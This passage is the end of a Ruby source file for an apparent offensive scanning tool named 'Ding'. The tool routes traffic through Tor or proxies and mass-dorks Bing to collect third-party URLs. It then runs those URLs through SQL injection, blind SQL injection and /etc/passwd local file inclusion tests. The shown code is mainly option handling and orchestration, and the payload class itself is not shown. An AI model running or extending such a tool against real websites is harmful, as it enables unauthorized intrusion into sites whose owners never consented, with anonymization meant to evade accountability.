1222 opts.on('-T', '--tor', "\n\tEnable TOR Support for all requests\n\t=> Uses TOR's default setup".white) do |torz|
1223 options[:tor] = 1
1224 @@tor = 'fuqya'
1225 end
1226 # Enable TOR Support with custom configuration
1227 opts.on('-t', '--custom-tor <IP:PORT>', "\n\tEnable TOR Support for all requests\n\t=> Uses TOR on custom defined IP:PORT instead of defaults".white) do |torz|
1228 customfoo = torz.split(":")
1229 #Adjust configuration to use the defined TOR IP & Port combination instead of defaults (127.0.0.1:9050)
1230 Tor.configure do |config|
1231 config.ip = customfoo[0]
1232 config.port = customfoo[1]
1233 end
1234 options[:tor] = 1
1235 @@tor = 'fuqya'
1236 end
1237 # Enable basic proxy support
1238 opts.on('-X', '--proxy <http(s)://PROXY:IP>', "\n\tEnable Proxy Support using provided proxy address\n\t=> Use the '-U <USER>' and '-P <PASS>' options if proxy authentication is required".white) do |proxy_addy|
1239 options[:proxy] = 1
1240 @@proxy = proxy_addy
1241 end
1242 # Authentication variables for proxy auth when required
1243 opts.on('-U', '--username <USER>', "\n\tUsername for use with Proxy Authentication".white) do |user|
1244 options[:user] = 1
1245 @@username = user
1246 end
1247 opts.on('-P', '--password <PASS>', "\n\tPassword for use with Proxy Authentication".white) do |pass|
1248 options[:pass] = 1
1249 @@password = pass
1250 end
1251 # RUn Log Cleaner to remove duplicates from results files
1252 opts.on('-R', '--clean-results', "\n\tRemove duplicate entries from Ding results files".white) do |cleaner|
1253 options[:clean] = 1
1254 foobanner = Banner.new
1255 foobanner.print
1256 puts "Running duplicates remover cleanup script for all results files".light_blue + ".....".white
1257 Dir.foreach("results/") do |x|
1258 if not x == "." and not x == ".." and not x == "ding2.results"
1259 if not File.directory?("results/#{x}")
1260 puts "Cleaning up ".light_red + "#{x}".white + ".....".cyan
1261 logcleaner(x)
1262 end
1263 end
1264 end
1265 puts
1266 puts "Results files all updated".light_green + "!".white
1267 puts
1268 puts
1269 exit 69;
1270 end
1271 #help menu
1272 opts.on('-h', '--help', "\n\tHelp Menu".white) do
1273 foobanner = Banner.new
1274 foobanner.print
1275 puts
1276 puts opts #print opts for dumb dumbs
1277 puts
1278 exit 69;
1279 end
1280end
1281
1282begin
1283 foo = ARGV[0] || ARGV[0] = "-h" # If no arguments passed, set to the same as '-h' to show usage menu ;)
1284 optparse.parse!
1285
1286 mandatory = [:method] #set mandatory option to ensure dork or file option chosen
1287 missing = mandatory.select{ |param| options[param].nil? } #check which options are missing @values, i.e. nil
1288 if not missing.empty? #If there are missing options print them
1289 puts "Missing options: ".red + " #{missing.join(', ')}".white
1290 puts optparse
1291 exit
1292 end
1293rescue OptionParser::InvalidOption, OptionParser::MissingArgument #catch errors instead of straight exiting
1294 foo = Clear.new #clear
1295 foo.cls #screen
1296 puts $!.to_s.red # Friendly output when parsing fails from bad options or no options
1297 puts
1298 puts optparse #show correct options
1299 puts
1300 exit 666;
1301end
1302
1303#Now go and do something with our options that are now set...code.....code...code...
1304foobanner = Banner.new
1305foobanner.print
1306Dir.mkdir("results") if not File.directory?("results") #confirm results dir exists, if not create it
1307if options[:ccode].nil? #Check if Country Code for Geo Dorking Provided or Not so we can search Bing properly
1308 options[:ccode] = 'no-bounds'
1309end
1310if options[:ip].nil?
1311 options[:ip] = 'lol'
1312end
1313if not options[:proxy] == 1
1314 @@proxy = 'landofthelost'
1315else
1316 if options[:user].nil?
1317 @@username = 'nada'
1318 end
1319 if options[:pass].nil?
1320 @@password = 'nada'
1321 end
1322end
1323if options[:level].nil?
1324 @@level = 0
1325else
1326 @@level = options[:level].to_i
1327end
1328if options[:tor].nil?
1329 @@tor = 'fuqno'
1330end
1331if options[:method] == 1
1332 if options[:proxy] == 1
1333 puts "Proxy Support has been enabled".light_blue + "!".white
1334 end
1335 puts "Making a Single dork run".light_blue + ".......".cyan
1336 foosearch = BingSearch.new
1337 if options[:ip] == 'lol'
1338 foosearch.searchq(options[:dork], options[:ccode], 1, nil)
1339 else
1340 foosearch.searchq(options[:dork], options[:ccode], 1, options[:ip])
1341 end
1342 puts
1343 fooresults = File.open('results/ding2.results', 'r')
1344 rescount = fooresults.readlines
1345 puts "Total Number of Unique Testable Links Found: ".light_blue + "#{rescount.length}".white
1346 puts "#{rescount.join}".green
1347 puts "\nCheck ".light_red + "results/ding2.results".white + " file if you didn't catch everything in the terminal output just now".light_red + "......".white
1348 puts
1349elsif options[:method] == 2
1350 if options[:proxy] == 1
1351 puts "Proxy Support has been enabled".light_blue + "!".white
1352 end
1353 puts "Mass dorking with file option".light_blue + ".......".cyan
1354 FileUtils.rm('results/ding2.results') if File.exists?('results/ding2.results') #remove results file if it exists as we use append mode for file search to keep track of all results
1355
1356 #Use multi-threading for file options since we are using more than one dork!
1357 threads = [] #array to hold our threads
1358 mutex = Mutex.new #Try to keep our threads playing nicely while they run searches
1359 File.open(options[:file], "r").each do |mass_dork|
1360 thread = Thread.new do #yeah threads, much faster now!!!!!!!!!!!!!!!!!!
1361 dork = mass_dork.sub(' ', '%20').chomp #Set current dork so we can build link
1362 mutex.synchronize do #so they all do it in sync and not all whacky. We should really wrap this whole thread subsection including the search calls but it slows things down like crazy and so far I have not seen any side affects of not using Mutex (results same using vs not, with difference being significant time savings). Enjoy or re-write it and show me another way thats not so slow :p
1363 puts "Checking Bing using ".light_blue + "'".cyan + "#{dork}".white + "'".cyan + " hang tight".light_blue + "....".cyan
1364 end
1365 #Call search function with each dork in its own thread :)
1366 foosearch = BingSearch.new
1367 if options[:ip] == 'lol'
1368 foosearch.searchq(dork, options[:ccode], 2, nil)
1369 else
1370 foosearch.searchq(dork, options[:ccode], 2, options[:ip])
1371 end
1372 end
1373 threads << thread #place thread in array for storage
1374 end
1375 threads.each { |thread| thread.join } #make sure all threads finished safely before moving on
1376 mutex.lock #no more changes!
1377
1378 fooresults = File.open('results/ding2.results', 'r')
1379 rescount = fooresults.readlines
1380 foobanner = Banner.new
1381 foobanner.print
1382 puts "Total Number of Unique Testable Links Found: ".light_blue + "#{rescount.length}".white
1383 puts "#{rescount.join}".green
1384 puts "Total Number of Unique Testable Links Found: ".light_blue + "#{rescount.length}".white
1385 puts "\nCheck ".light_red + "results/ding2.results".white + " file if you didn't catch everything in the terminal output just now".light_red + "......".white
1386 puts
1387elsif options[:method] == 3
1388 if options[:proxy] == 1
1389 puts "Proxy Support has been enabled".light_blue + "!".white
1390 end
1391 #Option Added Back in for SQuirmy, say thanks if you use it and like it!!!!!!!!!!!
1392 puts "Checking for Shared Hosting".light_blue + "......".cyan
1393 puts
1394 foosearch = BingSearch.new
1395 foosearch.sharedHosting(options[:shared])
1396end
1397
1398#Now we send our results through our checks....
1399regchk = InjectorTest.new
1400
1401#Run The Basic Single Quote Injection Test
1402if not @@level.to_i == 1 and not @@level.to_i == 2
1403 foobanner = Banner.new
1404 foobanner.print
1405 if options[:method] == 1 #Single Dork Option
1406 regchk.quoteTest(1) #1 = write
1407 elsif options[:method] == 2 #File Based Mass Dork Option
1408 regchk.quoteTest(2) #2 = append since we will re-use due to fact we are using file system for mass dorking.....
1409 end
1410end
1411
1412#RUn Very Basic BLIND SQL Injection Test
1413if @@level.to_i == 1 or @@level.to_i == 3 or @@level.to_i == 5
1414 foobanner = Banner.new
1415 foobanner.print
1416 if options[:method] == 1
1417 regchk.blindTest(1)
1418 elsif options[:method] == 2
1419 regchk.blindTest(2)
1420 end
1421end
1422
1423#Run /etc/passwd LFI test
1424if @@level.to_i == 2 or @@level.to_i == 4 or @@level.to_i == 5
1425 foobanner = Banner.new
1426 foobanner.print
1427 if options[:method] == 1
1428 regchk.etcTest(1)
1429 elsif options[:method] == 2
1430 regchk.etcTest(2)
1431 end
1432end
1433
1434#EOF